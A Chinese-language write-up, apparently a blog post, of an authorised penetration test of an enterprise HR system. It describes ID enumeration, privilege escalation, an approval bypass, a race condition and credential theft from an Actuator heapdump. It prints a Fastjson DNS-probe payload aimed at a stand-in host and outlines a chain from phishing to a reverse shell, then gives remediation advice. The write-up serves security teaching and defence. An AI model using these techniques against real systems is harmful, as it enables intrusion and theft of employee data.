1. 项目概述一次典型的HR系统安全评估之旅最近在内部授权测试中我深度参与了一个企业级HR人力资源系统的安全评估项目。这并非一次漫无目的的扫描而是针对一个正在服役、承载着全公司员工敏感信息如薪酬、绩效、身份信息的核心业务系统进行的定向漏洞挖掘。这类系统往往因为其业务复杂、交互逻辑多、数据价值高而成为安全测试中的重点和难点。很多人觉得漏洞挖掘就是拿着工具一顿扫但面对一个定制化程度高、业务逻辑环环相扣的HR系统那种“广撒网”的方式往往收效甚微甚至可能因为大量无效请求触发告警。这次我想分享的就是如何像“侦探”一样通过组合拳的方式从信息收集到漏洞利用层层递进最终在这样一个系统中发现有效的安全风险。整个过程融合了手动测试的灵感和自动化工具的辅助非常适合想从基础SRC安全应急响应中心漏洞挖掘转向更深入业务逻辑测试的朋友参考。2. 前期侦察与攻击面梳理在直接对系统“动手”之前充分的信息收集和攻击面分析是决定后续效率的关键。这就像打仗前的侦察目的是绘制一张尽可能详细的地图。2.1 资产识别与子域名枚举首先我们明确了目标hr.corporate.com。但这通常只是冰山一角。一个成熟的HR系统可能包含员工自助门户、管理员后台、移动端API接口、第三方集成服务等多个子系统。我通常会从以下几个维度入手子域名爆破使用诸如subfinder、amass等工具结合常见的字典如subdomains-top1million-110000.txt尝试发现像admin.hr.corporate.com、api.hr.corporate.com、mobile.hr.corporate.com、payroll.hr.corporate.com这类可能存在的子域。这次我们就发现了admin-portal.hr.corporate.com这个未在公开文档中提及的管理后台入口。端口与服务扫描对主域名和发现的子域名进行非全端口扫描如 top 1000。除了常见的80/443要特别关注8080、8443、9000等常见的管理或调试端口以及9200Elasticsearch、27017MongoDB等可能暴露的数据库服务。这次在api.hr.corporate.com的8081端口发现了一个用于文档预览的服务。目录与文件枚举使用dirsearch、gobuster等工具针对不同路径进行扫描。字典的选择很重要我会混合使用通用字典和针对Web应用如raft-large-files.txt、备份文件如bak, sql, tar.gz、配置文件如env, config, properties的专用字典。这次通过目录扫描在员工门户的静态资源目录下发现了一个被遗忘的/uploads/目录里面存放着用户上传的头像这本身可能就是一个信息泄露点。2.2 技术栈与框架指纹识别了解目标用什么技术搭建的能极大缩小漏洞测试的范围做到有的放矢。前端框架通过查看页面源代码、网络请求中的JS/CSS文件命名、以及使用Wappalyzer这类浏览器插件我们识别出前端主要使用Vue.js框架并搭配了Element UI组件库。这提示我们可以关注前端API接口的调用逻辑。后端框架观察Cookie如JSESSIONID暗示JavaPHPSESSID暗示PHP、HTTP响应头如Server: nginx/1.18.0X-Powered-By: Express、以及URL路径特征如.do可能为Struts.action可能为Spring MVC。本次目标在登录请求的响应头中暴露了X-Application-Context: application:prod:8080这强烈指向了Spring Boot应用。同时一些API的路径模式为/api/v1/employee/{id}符合RESTful风格也常见于Spring生态。中间件与数据库响应头中的Server字段、错误页面信息、以及特定端口的服务能帮助我们判断Nginx/Apache/Tomcat等。结合业务场景HR系统大概率使用关系型数据库如MySQL或PostgreSQL。注意指纹识别要动态结合。例如发现是Spring Boot后就要立刻想到几个常见的测试点默认的Actuator端点如/actuator、/env、Swagger API文档如/v2/api-docs、以及特定版本可能存在的已知漏洞如Spring4Shell需特定条件。我们立刻尝试了/actuator/health果然存在并且/actuator/env端点也暴露了大量配置信息包括数据库连接串虽然密码被部分掩码、Redis地址等这为后续的漏洞链构建提供了宝贵信息。3. 漏洞挖掘组合拳实战在摸清家底后便进入了核心的漏洞挖掘阶段。我倾向于采用“由浅入深、多点联动”的策略不局限于单一漏洞类型。3.1 突破点一越权访问与信息泄露越权是业务系统中最常见也最危险的问题之一分为水平越权访问同级别用户数据和垂直越权低权限访问高权限功能。案例ID遍历导致员工敏感信息泄露在员工自助门户有一个查看个人工资单的功能URL形如/api/v1/payslip/2023-10。通过抓包分析发现其请求体或Cookie中并未对员工ID做强校验而是依赖于前端传递的一个参数employeeId。我尝试将employeeId从自己的ID如10086修改为相邻的数字10085 10087。测试过程使用Burp Suite的Intruder模块对employeeId参数进行数字序列Payload攻击从10000到10100。结果服务器对大多数请求返回了“未授权”或“无数据”但对其中几个特定的ID如10085 10088返回了完整的工资单PDF文件下载链接。这说明后端仅校验了“该ID是否存在工资单”但没有严格校验“当前登录用户是否有权查看该ID的工资单”。这是一个典型的水平越权漏洞。影响攻击者可以遍历获取大量其他员工的薪酬信息构成严重的隐私和数据泄露事件。案例权限框架配置不当导致的垂直越权在之前发现的admin-portal子域名我们尝试用普通员工账号登录被拒绝。但通过拦截登录成功后的跳转请求我们直接访问管理员后台的某个具体功能URL例如/admin/employee/list。测试过程普通用户登录员工门户后获取到有效的会话Cookie。然后在新标签页中直接访问https://admin-portal.hr.corporate.com/admin/employee/list。结果页面成功加载了全体员工列表包括敏感字段如身份证号、银行账号、薪资等级。这说明后台仅在前端菜单和入口处做了权限控制但后端接口/admin/employee/list缺乏全局的、基于角色的访问控制RBAC校验导致了垂直越权。深度利用进一步测试发现不仅list接口连/admin/employee/update更新员工信息、/admin/salary/config薪资配置等核心管理接口普通员工会话均可访问并操作。这几乎等同于获得了后台管理员权限。3.2 突破点二逻辑漏洞的挖掘逻辑漏洞往往隐藏在复杂的业务流程中需要深入理解业务。案例审批流程的绕过系统有一个请假审批流程员工提交 - 直属经理审批 - HR备案。我们测试了“经理审批”环节。正常流程员工A提交请假单状态为“待经理审批”。经理B登录后在待办列表中可以批准或拒绝。漏洞测试员工A在提交后抓取“提交请假申请”的请求包发现其中包含一个参数processInstanceId流程实例ID和currentNode: SUBMIT。我们尝试重放这个请求但将currentNode修改为MANAGER_APPROVED同时将请求的HTTP方法从POST改为PUT指向状态更新接口/api/v1/leave/status。结果请求成功请假单状态直接被更新为“经理已批准”跳过了经理的实际审批操作。这是因为后端在状态机流转校验上存在缺陷没有验证状态变更的发起人角色和前后状态顺序的合法性。案例竞争条件漏洞Race Condition在“年度培训名额申请”功能中每个部门有固定名额先到先得。申请时前端会提示“剩余名额5”。测试过程使用Burp Suite的Turbo Intruder扩展同时发起10个申请请求使用同一个已认证的会话但申请不同培训课程以避开业务重复校验。结果10个请求中有7个返回“申请成功”。检查后台发现该部门的5个名额被超额占用。漏洞成因在于后端逻辑是1. 查询剩余名额 - 2. 判断0 - 3. 名额减1 - 4. 创建申请记录。这个过程不是原子操作例如使用数据库行锁或分布式锁当多个请求几乎同时到达第1步时它们都看到名额0然后都执行了减1操作导致超卖。3.3 突破点三不安全配置与已知组件漏洞利用结合前期信息收集的成果对暴露的组件和配置进行深入测试。案例Spring Boot Actuator配置不当之前我们发现了/actuator端点。进一步枚举发现了/actuator/heapdump堆转储端点可访问。下载堆转储文件.hprof后使用MATMemory Analyzer Tool或jhat工具进行分析。分析过程在堆转储中搜索包含“password”、“secret”、“key”等关键词的字符串。成功找到了内存中明文暂存的数据库密码、邮件服务器SMTP密码以及一个用于内部API调用的Bearer Token。影响这些凭据可以导致数据库完全失陷、内部邮件被滥用、以及利用该Token调用更高权限的内部API。这是一个由信息泄露Actuator端点暴露导致敏感数据泄露进而可能引发更深层次入侵的典型链条。案例第三方组件漏洞Fastjson反序列化在测试某个报表导出功能时发现请求参数中包含一个复杂的JSON对象用于传递查询条件。该JSON对象中有一个type字段这引起了我的警觉因为这是Fastjson库用于指定反序列化类型的特征字段。试探我尝试发送一个包含简单Java类路径的Payload{type:java.net.InetAddress, val:attacker-dns.log}。这个Payload如果被成功反序列化会触发一次DNS查询到我的日志服务器。结果监控DNS日志收到了来自目标服务器的查询请求。这证实了后端使用了存在反序列化漏洞的Fastjson版本1.2.24/1.2.48等版本具体需进一步探测。利用由于是内部系统且存在出网限制直接利用JNDI注入加载远程恶意类可能失败。但我们可以利用已知的Gadget链结合目标ClassPath中存在的库如Tomcat依赖、Spring依赖构造一个能导致远程代码执行RCE的Payload。例如使用org.apache.tomcat.dbcp.dbcp2.BasicDataSource链配合目标服务器可访问的恶意MySQL服务器实现RCE。4. 漏洞链组合与危害升级单一的中低危漏洞可能不足以引起足够重视但将它们组合起来其危害性会呈指数级增长。本次测试中就构建了这样一条攻击链攻击链演示从普通员工到全域控制起点低危通过目录枚举发现/uploads/user_avatar/目录存在目录遍历可以列出部分员工头像文件名信息泄露。第一步中危利用水平越权漏洞ID遍历通过头像文件名关联到员工ID进而获取到多名员工的详细个人信息包括部门、邮箱、工号。第二步高危分析获取到的信息发现一名IT部门员工的邮箱。结合之前Actuator端点泄露的SMTP配置我们可以伪造发件人向该IT员工发送一封钓鱼邮件诱使其点击链接或下载附件需要社工配合。或者利用逻辑漏洞中的竞争条件以该员工名义“抢注”一个关键系统的访问权限如果系统有此类设计。第三步严重假设IT员工中招其电脑被植入木马或者其凭证可能用于VPN、堡垒机被窃取。攻击者即可进入内网。第四步致命在内网中利用之前发现的admin-portal垂直越权漏洞因为从内网访问可能无额外认证直接操作HR后台。或者利用Fastjson反序列化漏洞内网环境可能出网策略更宽松在HR服务器上获取一个反向Shell从而完全控制这台存有全公司最敏感人事数据的服务器。这条攻击链清晰地展示了一个看似不起眼的信息泄露点如何与业务逻辑漏洞、配置漏洞串联最终可能引发灾难性的数据泄露甚至系统沦陷。5. 修复建议与防御思考针对挖掘到的这些漏洞给开发和安全团队的建议必须具体、可操作权限校验统一化后端每个接口都必须进行显式的、基于角色/权限的访问控制校验。推荐使用Spring Security、Shiro等安全框架的注解如PreAuthorize(hasRole(ADMIN))进行声明式控制避免在业务代码中散落校验逻辑。对涉及资源ID如employeeId,orderId的操作必须增加“属主校验”即判断当前请求的用户是否有权操作这个ID对应的资源。这可以通过在数据库查询时关联当前用户ID来实现。业务逻辑安全加固对关键业务流程如审批、支付、名额分配绘制清晰的状态机图。在后端实现状态机引擎严格校验状态转换的合法性前驱状态、后继状态、操作者角色。对于“检查-然后-操作”模式如检查余额然后扣款必须使用悲观锁SELECT ... FOR UPDATE或乐观锁带版本号更新来保证原子性防止竞争条件。敏感信息与配置管理生产环境必须禁用或严格保护Actuator、Swagger、phpMyAdmin等管理和调试端点。若需使用应通过IP白名单、强认证等方式进行限制。配置文件中的密码、密钥等必须使用加密存储或在运行时从安全的配置中心如Vault获取。绝对禁止在日志、错误信息、HTTP响应中泄露敏感数据。组件安全与输入校验建立第三方组件库、框架、中间件的清单定期使用SCA软件成分分析工具扫描已知漏洞并及时升级到安全版本。对于JSON、XML等复杂数据解析明确指定可反序列化的类白名单避免使用自动类型匹配如Fastjson的autoType。对所有用户输入实施严格的校验、过滤和转义。安全开发生命周期SDL在需求设计阶段就引入安全评审Threat Modeling。开发人员需接受安全编码培训。在测试阶段除了功能测试必须包含渗透测试和安全扫描特别是针对业务逻辑漏洞的专项测试。漏洞挖掘的本质是一场攻防视角的对话。作为攻击方我们需要像系统设计者一样思考寻找逻辑链条上的断点作为防御方则需要假设所有外部输入都不可信所有权限都需要显式声明。这次对HR系统的测试再次证明最深处的漏洞往往不在技术栈的最底层而在业务逻辑与安全设计脱节的那一层。手动测试的思考过程是任何自动化工具都无法替代的。